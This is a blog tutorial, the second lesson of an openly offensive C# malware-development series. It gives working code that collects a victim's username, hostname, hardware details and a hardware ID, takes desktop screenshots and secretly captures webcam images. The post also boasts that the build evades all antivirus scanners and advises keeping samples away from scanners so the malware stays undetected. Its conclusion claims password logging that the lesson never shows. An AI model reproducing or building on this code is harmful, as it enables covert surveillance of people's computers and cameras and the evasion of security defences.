Lesson 2: Collecting Hardware Information for Malware Development

👾 Malware Development Series by XIT (C#)

XIT
10 min readMar 23, 2023

Follow XIT on medium & UglyCompany on Telegram for more..

Below is the Topics List for Lesson 2:

2. Collecting Hardware Information:
⇢ Accessing Environment Variables and Machine Data
⇢ Username & Hostname
⇢ CPU, GPU, RAM
⇢ Battery, Screen Size, Language, OS version, HWID
⇢ System Configuration Info
⇢ Accessing Webcam
⇢ Desktop Screenshot

It’s time to go more deeply into the world of malware creation now that you have your development environment set up & also you have learnt how to create and use your custom classes in your console applications using C#. We’ll look at the fundamentals of gathering hardware information for your malware in this second session of XIT’s Malware Development Series. You may develop malware programs that are more specialized and efficient by gathering data about the user’s computer and surroundings. We’ll go through everything, including how to access the webcam, take screenshots of the desktop, and access machine statistics and environment variables.

Topic 1: Accessing Environment Variables and Machine Data

The first step in collecting hardware information is to access environment variables and machine data. I’ll show you how to use C# console application to access this information using built-in .NET classes and libraries.

In your ‘Hardware.cs’ class file create a new function to print various environment variables and machine data using the Environment class.

A] Print the current machine name to the console by accessing the MachineName property of the Environment class as shown below:

// Machine Name
Console.WriteLine("Machine Name: " + Environment.MachineName);

B] Print the the current operating system version to the console by accessing the OSVersion property of the Environment class as shown below:

// OS Version
Console.WriteLine("OS Version: " + Environment.OSVersion);

C] Print the number of processors available on the current machine to the console by accessing the ProcessorCount property of the Environment class as shown below:

// Processor Count
Console.WriteLine("Processor Count: " + Environment.ProcessorCount);

D] Print the path of the system directory to the console by accessing the SystemDirectory property of the Environment class as shown below:

// System Directory
Console.WriteLine("System Directory: " + Environment.SystemDirectory);

E] Print the domain name of the current user to the console by accessing the UserDomainName property of the Environment class as shown below:

// User Domain Name
Console.WriteLine("User Domain Name: " + Environment.UserDomainName);

F] Print a boolean value indicating whether the current process is running in user interactive mode to the console by accessing the UserInteractive property of the Environment class as shown below:

// User Interactive
Console.WriteLine("User Interactive: " + Environment.UserInteractive);

G] Print the name of the current user to the console by accessing the UserName property of the Environment class. as shown below:

// User Name
Console.WriteLine("User Name: " + Environment.UserName);

Once you create a function using the above code; call it in ‘Program.cs’ main file and run your application for test. It should get you the output as shown below:

Of course, the actual values will depend on your own system.

Topic 2: Username and Hostname

Knowing the username and hostname of the user’s machine can provide valuable information for your malware tool. I’ll guide you through the process of accessing this information and demonstrate how it can be used in your malware.

In your ‘Hardware.cs’ class file create a new function to print Username & Hostname using the Environment class.

A] Print the name of the current user to the console by accessing the UserName property of the Environment class. as shown below:

// Username
Console.WriteLine("Current Username: " + Environment.UserName);

B] Print the current hostname to the console by accessing the MachineName property of the Environment class as shown below:

// Hostname
Console.WriteLine("Current Hostname: " + Environment.MachineName);

Once you create a function using the above code; call it in ‘Program.cs’ main file and run your application for test. It should get you the output as shown below:

Username & Hostname:

Current Username: yourusername
Current Hostname: yourhostname
Of course, the actual username and hostname values will depend on your own system.

Topic 3: CPU, GPU, RAM

Knowing the user’s hardware specifications can help you create more targeted and effective malware tools. We’ll write function to retrieve information about the CPU, GPU, and RAM of the computer using Windows Management Instrumentation (WMI) and print to console.

A] Let’s retrieve information about the CPU using the Win32_Processor WMI class. The ManagementObjectSearcher class is used to execute the WMI query and retrieve the results, which are then iterated over using a foreach loop. For each ManagementObject in the search results, the code prints out the CPU name, number of cores, and number of threads to the console as shown below:

// CPU
ManagementObjectSearcher searcher1 = new ManagementObjectSearcher("select * from Win32_Processor");
foreach (ManagementObject obj in searcher1.Get()) {
Console.WriteLine("CPU Name: " + obj["Name"]);
Console.WriteLine("CPU Cores: " + obj["NumberOfCores"]);
Console.WriteLine("CPU Threads: " + obj["ThreadCount"]);
}

B] Let’s retrieve information about the GPU using the Win32_VideoController WMI class. Like the previous section, a ManagementObjectSearcher is used to execute the WMI query and retrieve the results, which are then iterated over using a foreach loop. For each ManagementObject in the search results, the code prints out the GPU name to the console as shown below:

// GPU
ManagementObjectSearcher searcher2 = new ManagementObjectSearcher("select * from Win32_VideoController");
foreach (ManagementObject obj in searcher2.Get()) {
Console.WriteLine("GPU Name: " + obj["Name"]);
}

C] Let’s retrieve information about the total physical memory (RAM) of the computer using Win32_ComputerSystem WMI class. Again, a ManagementObjectSearcher is used to execute the WMI query and retrieve the results, which are then iterated over using a foreach loop. For each ManagementObject in the search results, the code calculates the total physical memory in gigabytes by dividing the value of TotalPhysicalMemory by 1024^3 (to convert bytes to gigabytes), rounds the result to two decimal places using Math.Round(), and prints the result to the console as shown below:

// RAM
ManagementObjectSearcher searcher3 = new ManagementObjectSearcher("select * from Win32_ComputerSystem");
foreach (ManagementObject obj in searcher3.Get())
{
Console.WriteLine("Total Physical Memory: " + Math.Round(Convert.ToDouble(obj["TotalPhysicalMemory"]) / (1024 * 1024 * 1024), 2) + " GB");
}

Once you create a function using the above code; call it in ‘Program.cs’ main file and run your application for test. It should get you the output as shown below:

CPU, GPU, RAM:

CPU Name: Intel(R) Core(TM) i7-XXXX CPU @ X.XXGHz
CPU Cores: 4
CPU Threads: 8
GPU Name: NVIDIA GeForce XXXX
Total Physical Memory: X.XX GB
Of course, the actual CPU and GPU values will depend on your own system.

Topic 4: Battery, Screen Size, Language, OS version and HWID

Knowing the user’s environment can help you create more targeted and effective malware tools. We’ll write function to access battery, screen size, language, OS version and HWID information and print to console.

A] Let’s query the Win32_Battery WMI class to retrieve the battery status, estimated charge remaining, and estimated run time. It uses the ManagementObjectSearcher class to execute a query and then loops through the ManagementObjects returned by the Get() method to retrieve the relevant properties and prints out to the console as shown below:

// Battery
ManagementObjectSearcher searcher4 = new ManagementObjectSearcher("select * from Win32_Battery");
foreach (ManagementObject obj in searcher4.Get())
{
Console.WriteLine("Battery Status: " + obj["BatteryStatus"]);
Console.WriteLine("Estimated Charge Remaining: " + obj["EstimatedChargeRemaining"]);
Console.WriteLine("Estimated Run Time: " + obj["EstimatedRunTime"]);
}

B] Let’s retrieve the size of the primary screen using the Screen class and print out the width and height as the screen resolution as shown below:

// Screen Size
int screenWidth = Screen.PrimaryScreen.Bounds.Width;
int screenHeight = Screen.PrimaryScreen.Bounds.Height;
Console.WriteLine($"Screen Resolution: {screenWidth} x {screenHeight}");

C] Let’s retrieve the display name of the current culture (Default Language) using the CultureInfo class as shown below:

// Language
Console.WriteLine("Default Language: " + CultureInfo.CurrentCulture.DisplayName);

D] Let’s query the Win32_OperatingSystem WMI class to retrieve the name property, which includes the operating system version. Then extract the version string by splitting the string at the “|” character and removing any leading or trailing whitespace as shown below:

// OS version
string osVersion = "OS version not found!";
using (ManagementObjectSearcher mSearcher = new ManagementObjectSearcher(@"root\CIMV2", " SELECT * FROM win32_operatingsystem"))
{
foreach (ManagementObject tObj in mSearcher.Get())
{
osVersion = Convert.ToString(tObj["Name"]).Split(new char[] { '|' })[0];
int split = osVersion.Split(new char[] { ' ' })[0].Length;
osVersion = osVersion.Substring(split).TrimStart().TrimEnd();
}
}
Console.WriteLine("OS version: " + osVersion);

E] Let’s query the Win32_Processor WMI class to retrieve the ProcessorId property, which provides a unique hardware ID for the processor as shown below:

// HWID
ManagementObjectCollection pID = new ManagementObjectSearcher("Select ProcessorId From Win32_processor").Get();
foreach (ManagementObject x in pID)
Console.WriteLine("HWID: " + x["ProcessorId"].ToString());

Once you create a function using the above code; call it in ‘Program.cs’ main file and run your application for test. It should get you the output as shown below:

Battery, Screen Size, Language, OS version & HWID:

Battery Status: 2
Estimated Charge Remaining: 100
Estimated Run Time: 2794669
Screen Resolution: 1920 x 1080
Default Language: English (United States)
OS version: Microsoft Windows 10 Pro
HWID: BFEBFBFF000906EA
Of course, the actual values will depend on your own system.

Topic 5: System Configuration Info, Accessing Webcam, and Desktop Screenshot

In this final section, we’ll cover more advanced topics in hardware information collection. I’ll show you how to access system configuration information, access the user’s webcam, and capture desktop screenshots. With these powerful tools at your disposal, you can create potent and effective malware tools.

A] Let’s creates a new ManagementObjectSearcher object that queries the WMI provider for the Win32_OperatingSystem class, which contains information about the operating system & then retrieve the result of the WMI query and loops through each ManagementObject in the collection as shown below:

// System Configuration Info
Console.WriteLine("System Configuration Info:\n");
ManagementObjectSearcher searcher5 = new ManagementObjectSearcher("select * from Win32_OperatingSystem");
foreach (ManagementObject obj in searcher5.Get()) {
Console.WriteLine("Boot Device: " + obj["BootDevice"]);
Console.WriteLine("System Directory: " + obj["SystemDirectory"]);
Console.WriteLine("Windows Directory: " + obj["WindowsDirectory"]);
}

B] Let’s capture a screenshot of the desktop and save it as a JPEG image file named “desktop_screenshot.jpg”. We first create a Bitmap object with the size of the primary screen’s bounds. Then, create a Graphics object from the Bitmap, and use the CopyFromScreen method to copy the contents of the screen into the Bitmap. Finally, the Bitmap is saved as a JPEG file and a we print a message to the console indicating that the screenshot has been saved as shown below:

// Desktop Screenshot
using (Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height))
{
using (Graphics g = Graphics.FromImage(bmp))
{
g.CopyFromScreen(0, 0, 0, 0, bmp.Size);
}
bmp.Save("desktop_screenshot.jpg", ImageFormat.Jpeg);
Console.WriteLine("Desktop screenshot saved");
}

C] Let’s use P/Invoke to access the webcam on the computer and save a screenshot of it as a JPEG file. I’ll use the DllImport attribute to import functions from avicap32.dll and user32.dll. The capCreateCaptureWindowA function from avicap32.dll to create a capture window, and the SendMessage function from user32.dll which sends messages to the window to start capturing the webcam feed. After the webcam feed has been captured, the code uses the Clipboard.GetDataObject().GetData(DataFormats.Bitmap) method to get the image data from the clipboard and save it as a JPEG file named "webcam_screenshot.jpg" using the Image.Save method. If no webcam is found, the code prints a message saying "No webcam found." as shown below:

// Accessing Webcam
[DllImport("avicap32.dll", EntryPoint = "capCreateCaptureWindowA")]
public static extern IntPtr capCreateCaptureWindowA(string lpszWindowName, int dwStyle, int X, int Y, int nWidth, int nHeight, int hwndParent, int nID);
[DllImport("user32.dll", EntryPoint = "SendMessage")]
public static extern int SendMessage(IntPtr hWnd, uint Msg, int wParam, int lParam);
private static IntPtr handle;

handle = capCreateCaptureWindowA("BhaiyaJiEsmile", 0, 0, 0, 320, 240, 0, 0);
SendMessage(handle, 1034, 0, 0);
SendMessage(handle, 1074, 0, 0);
SendMessage(handle, 1084, 0, 0);
SendMessage(handle, 1054, 0, 0);
SendMessage(handle, 1035, 0, 0);

Image image = (Image)Clipboard.GetDataObject().GetData(DataFormats.Bitmap);
if (image != null)
{
image.Save("webcam_screenshot.jpg", ImageFormat.Jpeg);
Console.WriteLine("Webcam screenshot saved");
}
else
{
Console.WriteLine("No webcam found.");
}

Once you create a function using the above code; call it in ‘Program.cs’ main file and run your application for test. It should get you the output as shown below:

System Configuration Info:

Boot Device: \Device\HarddiskVolume1
System Directory: C:\WINDOWS\system32
Windows Directory: C:\WINDOWS
Desktop screenshot saved
Webcam screenshot saved
Of course, the actual values will depend on your own system.

Finally, I compiled all the topics of lesson 2 & it was detected by 0 out of 26 antivirus scans. Below is the antivirus scan report from antiscan.me :

Remember: Don’t share your unencrypted assemblies or malware source to random antivirus scanners, use the only those which are listed on the article given below to keep your malware undetected forever:

https://x-it.medium.com/stop-killing-your-malware-learn-to-perform-safe-scans-for-self-developed-malwares-fe95480a65ed

Conclusion

Collecting hardware information is a crucial aspect of creating effective malware tools. In this lesson, we covered the basics of accessing environment variables and machine data, capturing usernames and hostnames, logging OS logon passwords, and accessing hardware specifications such as CPU, GPU, RAM, battery, screen size, and language. We also covered more advanced topics such as system configuration info, accessing the webcam, and capturing desktop screenshots. With this knowledge, you’re well on your way to creating powerful and effective malware tools. Stay tuned for our next lesson, where we’ll explore the working with network profiles!

A supporter is worth a thousand followers. 😊

--

--

XIT

SHHH! The voice of none is stronger than the voice of one.